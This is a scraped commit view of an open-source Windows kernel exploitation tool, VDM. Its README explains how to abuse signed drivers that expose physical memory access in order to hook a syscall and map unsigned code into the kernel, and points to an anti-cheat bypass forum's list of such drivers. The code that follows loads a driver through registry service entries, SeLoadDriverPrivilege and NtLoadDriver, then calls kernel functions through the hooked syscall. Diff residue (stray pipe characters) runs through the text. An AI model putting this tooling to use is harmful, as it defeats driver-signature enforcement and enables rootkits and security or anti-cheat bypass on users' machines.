xerox
4 years ago
parent
db45bbf701
commit
db600f14fe
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MIT License
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Copyright (c) 2020 xerox
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Permission is hereby granted, free of charge, to any person obtaining a copy
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of this software and associated documentation files (the "Software"), to deal
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in the Software without restriction, including without limitation the rights
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to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
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||||||
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copies of the Software, and to permit persons to whom the Software is
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furnished to do so, subject to the following conditions:
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The above copyright notice and this permission notice shall be included in all
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copies or substantial portions of the Software.
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
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LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
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OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
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SOFTWARE.
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@ -1,3 +1,66 @@
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# VDM
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# Credits
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Vulnerable Driver Manipulation
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Before I begin, those who helped me create this project shall be credited.
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- [Can1357](https://blog.can.ac), for helping me find the correct page in physical memory.
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- Ch40zz, for helping me fix many issues in things I could never have fixed.
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- wlan, I used your drv_image class :)
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# Physmeme
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Given ANY map/unmap (read/write) of physical memory, one can now systematically map unsigned code into ones kernel.
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Many drivers expose this primitive and now can all be exploited by simply coding a few functions.
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### What drivers support physical read/write?
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Any driver exposing MmMapIoSpace/MmUnmapIoSpace or ZwMapViewOfSection/ZwUnmapViewOfSection can be exploited. This means bios flashing utils, fan speed utils
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(like MSI Afterburner), or general windows system utilities that expose physical read/write.
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If you are in any sort of doubt about the abundance of these drivers simply go to
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<a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html">this</a> page and ctrl-f "MmMapIoSpace". (24 results)
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### How does this exploit work?
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Since we are able to read/write to any physical memory on the system the goal is to find the physical page of a syscall. This can be done by calculating the offset into the page in which the syscall resides. Doing so is trivial and only requires the modulo operation.
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```cpp
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auto syscall_page_offet = rva % 0x1000;
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```
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Now that we know that the syscalls bytes are going to be that far into the physical page we can map each physical page into our process 512 at a time (2mb) and then
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check the page + page_offset and compare with the syscalls bytes. After we have the syscalls page we can install inline hooks and then call into the function.
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<img src="https://cdn.discordapp.com/attachments/687446832175251502/701355063939039292/unknown.png"/>
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### How long does it take to find the physical page?
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Less then one second. For each physical memory range I create a thread that maps 2mb at a time of physical memory and scans each physical page. This is on a system with 16gb.
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In other words... its very fast, you wont need to worry about waiting to find the correct page.
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# DriverEntry
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you can change the paremeters you pass to driver entry simply by changing this:
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```cpp
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using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t);
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```
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right now your entry point should look like this:
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```cpp
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NTSTATUS DriverEntry(PVOID lpBaseAddress, DWORD32 dwSize)
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```
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The source the hello-world.sys is the following:
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```cpp
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#include <ntifs.h>
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NTSTATUS DriverEntry(PVOID lpBaseAddress, DWORD32 dwSize)
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{
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DbgPrint("> Base Address: 0x%p, Size: 0x%x", lpBaseAddress, dwSize);
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return STATUS_SUCCESS;
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}
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```
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@ -0,0 +1,175 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>16.0</VCProjectVersion>
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<ProjectGuid>{6578B958-DD53-4BE0-8011-009563919E73}</ProjectGuid>
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<Keyword>Win32Proj</Keyword>
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<RootNamespace>physmeme</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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<ProjectName>VDM</ProjectName>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>MultiByte</CharacterSet>
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<SpectreMitigation>false</SpectreMitigation>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>MultiByte</CharacterSet>
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<SpectreMitigation>false</SpectreMitigation>
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|
</PropertyGroup>
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|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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|
<ConfigurationType>Application</ConfigurationType>
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|
<UseDebugLibraries>true</UseDebugLibraries>
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|
<PlatformToolset>v142</PlatformToolset>
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|
<CharacterSet>MultiByte</CharacterSet>
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|
<SpectreMitigation>false</SpectreMitigation>
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|
</PropertyGroup>
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|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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|
<ConfigurationType>Application</ConfigurationType>
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||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
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|
<PlatformToolset>v142</PlatformToolset>
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|
<WholeProgramOptimization>true</WholeProgramOptimization>
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|
<CharacterSet>MultiByte</CharacterSet>
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||||||
|
<SpectreMitigation>false</SpectreMitigation>
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||||||
|
</PropertyGroup>
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||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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||||||
|
<ImportGroup Label="ExtensionSettings">
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|
</ImportGroup>
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||||||
|
<ImportGroup Label="Shared">
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|
</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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|
</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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|
</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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|
</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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|
</ImportGroup>
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||||||
|
<PropertyGroup Label="UserMacros" />
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||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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||||||
|
</PropertyGroup>
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|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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|
<LinkIncremental>true</LinkIncremental>
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|
</PropertyGroup>
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||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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||||||
|
<LinkIncremental>false</LinkIncremental>
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||||||
|
</PropertyGroup>
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||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
|
<LinkIncremental>false</LinkIncremental>
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||||||
|
</PropertyGroup>
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||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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||||||
|
<ClCompile>
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||||||
|
<PrecompiledHeader>
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||||||
|
</PrecompiledHeader>
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||||||
|
<WarningLevel>TurnOffAllWarnings</WarningLevel>
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||||||
|
<SDLCheck>true</SDLCheck>
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||||||
|
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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|
<ConformanceMode>true</ConformanceMode>
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||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
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||||||
|
</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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|
</Link>
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||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
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||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>TurnOffAllWarnings</WarningLevel>
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||||||
|
<SDLCheck>true</SDLCheck>
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||||||
|
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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||||||
|
<ConformanceMode>true</ConformanceMode>
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|
<LanguageStandard>stdcpp17</LanguageStandard>
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||||||
|
</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
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||||||
|
</PrecompiledHeader>
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||||||
|
<WarningLevel>TurnOffAllWarnings</WarningLevel>
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||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
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||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
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||||||
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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<LanguageStandard>stdcpp17</LanguageStandard>
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||||||
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<Optimization>Disabled</Optimization>
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||||||
|
</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||||
|
<OptimizeReferences>true</OptimizeReferences>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
|
</Link>
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||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
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||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
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||||||
|
<SDLCheck>true</SDLCheck>
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||||||
|
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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||||||
|
<ConformanceMode>true</ConformanceMode>
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||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
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||||||
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<Optimization>Disabled</Optimization>
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||||||
|
</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||||
|
<OptimizeReferences>true</OptimizeReferences>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
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</Link>
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||||||
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</ItemDefinitionGroup>
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<ItemGroup>
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<ClCompile Include="main.cpp" />
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<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
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</ItemGroup>
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<ItemGroup>
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<ClInclude Include="util\loadup.hpp" />
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<ClInclude Include="util\nt.hpp" />
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<ClInclude Include="util\util.hpp" />
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<ClInclude Include="vdm\raw_driver.hpp" />
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<ClInclude Include="vdm\vdm.hpp" />
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<ClInclude Include="vdm_ctx\vdm_ctx.h" />
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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||||||
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</Project>
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@ -0,0 +1,47 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="Source Files">
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|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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||||||
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<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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||||||
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</Filter>
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||||||
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<Filter Include="Header Files">
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||||||
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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||||||
|
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
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||||||
|
</Filter>
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||||||
|
<Filter Include="Header Files\util">
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||||||
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<UniqueIdentifier>{4fd2f117-66bb-4f75-af5b-b7e041a4dc48}</UniqueIdentifier>
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||||||
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</Filter>
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||||||
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<Filter Include="Header Files\vdm">
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<UniqueIdentifier>{c4aa2f98-70d4-418e-894d-4e1975e2bad2}</UniqueIdentifier>
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</Filter>
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||||||
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="main.cpp">
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<Filter>Source Files</Filter>
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</ClCompile>
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<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
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<Filter>Source Files</Filter>
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</ClCompile>
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</ItemGroup>
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<ItemGroup>
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<ClInclude Include="util\util.hpp">
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<Filter>Header Files\util</Filter>
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</ClInclude>
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<ClInclude Include="util\nt.hpp">
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<Filter>Header Files\util</Filter>
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</ClInclude>
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<ClInclude Include="vdm\vdm.hpp">
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<Filter>Header Files\vdm</Filter>
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</ClInclude>
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<ClInclude Include="util\loadup.hpp">
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<Filter>Header Files\util</Filter>
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</ClInclude>
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<ClInclude Include="vdm_ctx\vdm_ctx.h">
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<Filter>Header Files</Filter>
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</ClInclude>
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<ClInclude Include="vdm\raw_driver.hpp">
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<Filter>Header Files\vdm</Filter>
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</ClInclude>
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</ItemGroup>
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</Project>
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@ -0,0 +1,19 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
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<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
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<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LocalDebuggerCommandArguments>C:\Users\xerox\Desktop\physmeme\x64\Debug\hello-world.sys</LocalDebuggerCommandArguments>
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<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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</PropertyGroup>
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LocalDebuggerCommandArguments>C:\Users\xerox\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
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<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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||||||
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</PropertyGroup>
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||||||
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</Project>
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@ -0,0 +1,38 @@
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#include "vdm_ctx/vdm_ctx.h"
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int __cdecl main(int argc, char** argv)
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{
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const auto [drv_handle, drv_key] = vdm::load_drv();
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if (!drv_handle || drv_key.empty())
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{
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std::printf("[!] unable to load vulnerable driver...\n");
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return -1;
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}
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vdm::vdm_ctx vdm;
|
||||||
|
std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
|
||||||
|
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
|
||||||
|
|
||||||
|
const auto ntoskrnl_base =
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
util::get_module_base("ntoskrnl.exe"));
|
||||||
|
|
||||||
|
const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kernel_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
|
||||||
|
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);
|
||||||
|
|
||||||
|
short mz_bytes = 0;
|
||||||
|
vdm.syscall<decltype(&memcpy)>(ntoskrnl_memcpy, &mz_bytes, ntoskrnl_base, sizeof mz_bytes);
|
||||||
|
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);
|
||||||
|
|
||||||
|
if (!vdm::unload_drv(drv_handle, drv_key))
|
||||||
|
{
|
||||||
|
std::printf("[!] unable to unload vulnerable driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::printf("[+] press any key to close...\n");
|
||||||
|
std::getchar();
|
||||||
|
}
|
||||||
@ -0,0 +1,256 @@
|
|||||||
|
/*
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 xerox
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Winternl.h>
|
||||||
|
#include <string>
|
||||||
|
#include <fstream>
|
||||||
|
#include <filesystem>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||||
|
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||||
|
|
||||||
|
namespace driver
|
||||||
|
{
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||||
|
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_key += service_name;
|
||||||
|
|
||||||
|
auto result = RegCreateKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t type_value = 1;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Type",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&type_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t error_control_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ErrorControl",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&error_control_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t start_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Start",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&start_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ImagePath",
|
||||||
|
NULL,
|
||||||
|
REG_SZ,
|
||||||
|
(std::uint8_t*) drv_path.c_str(),
|
||||||
|
drv_path.size()
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||||
|
{
|
||||||
|
HANDLE token_handle = nullptr;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES token_state{};
|
||||||
|
token_state.PrivilegeCount = 1;
|
||||||
|
token_state.Privileges[0].Luid = luid;
|
||||||
|
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
CloseHandle(token_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
DWORD bytes_read;
|
||||||
|
char image_path[0xFF];
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
result = RegGetValueA(
|
||||||
|
reg_handle,
|
||||||
|
service_name.c_str(),
|
||||||
|
"ImagePath",
|
||||||
|
REG_SZ,
|
||||||
|
NULL,
|
||||||
|
image_path,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
RegCloseKey(reg_handle);
|
||||||
|
return std::string(image_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!util::create_service_entry("\\??\\" +
|
||||||
|
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
|
||||||
|
{
|
||||||
|
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||||
|
{
|
||||||
|
static const auto randchar = []() -> char
|
||||||
|
{
|
||||||
|
const char charset[] =
|
||||||
|
"0123456789"
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const std::size_t max_index = (sizeof(charset) - 1);
|
||||||
|
return charset[rand() % max_index];
|
||||||
|
};
|
||||||
|
std::string str(length, 0);
|
||||||
|
std::generate_n(str.begin(), length, randchar);
|
||||||
|
return str;
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto service_name = random_file_name(16);
|
||||||
|
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||||
|
|
||||||
|
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||||
|
output_file.close();
|
||||||
|
|
||||||
|
return { load(file_path, service_name), service_name };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
|
||||||
|
{
|
||||||
|
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||||
|
return load(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto unload(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
|
||||||
|
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
|
||||||
|
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
const bool delete_reg = util::delete_service_entry(service_name);
|
||||||
|
|
||||||
|
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||||
|
// to the driver, this means the driver is still loaded into the kernel...
|
||||||
|
try
|
||||||
|
{
|
||||||
|
std::filesystem::remove(image_path);
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return delete_reg && unload_drv;
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,29 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
#define PAGE_4KB 0x1000
|
||||||
|
|
||||||
|
constexpr auto SystemModuleInformation = 11;
|
||||||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
HANDLE Section;
|
||||||
|
PVOID MappedBase;
|
||||||
|
PVOID ImageBase;
|
||||||
|
ULONG ImageSize;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadOrderIndex;
|
||||||
|
USHORT InitOrderIndex;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT OffsetToFileName;
|
||||||
|
UCHAR FullPathName[256];
|
||||||
|
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULES
|
||||||
|
{
|
||||||
|
ULONG NumberOfModules;
|
||||||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||||
|
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||||
|
|
||||||
|
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||||
@ -0,0 +1,205 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string_view>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <string_view>
|
||||||
|
#include <map>
|
||||||
|
#include "nt.hpp"
|
||||||
|
|
||||||
|
namespace util
|
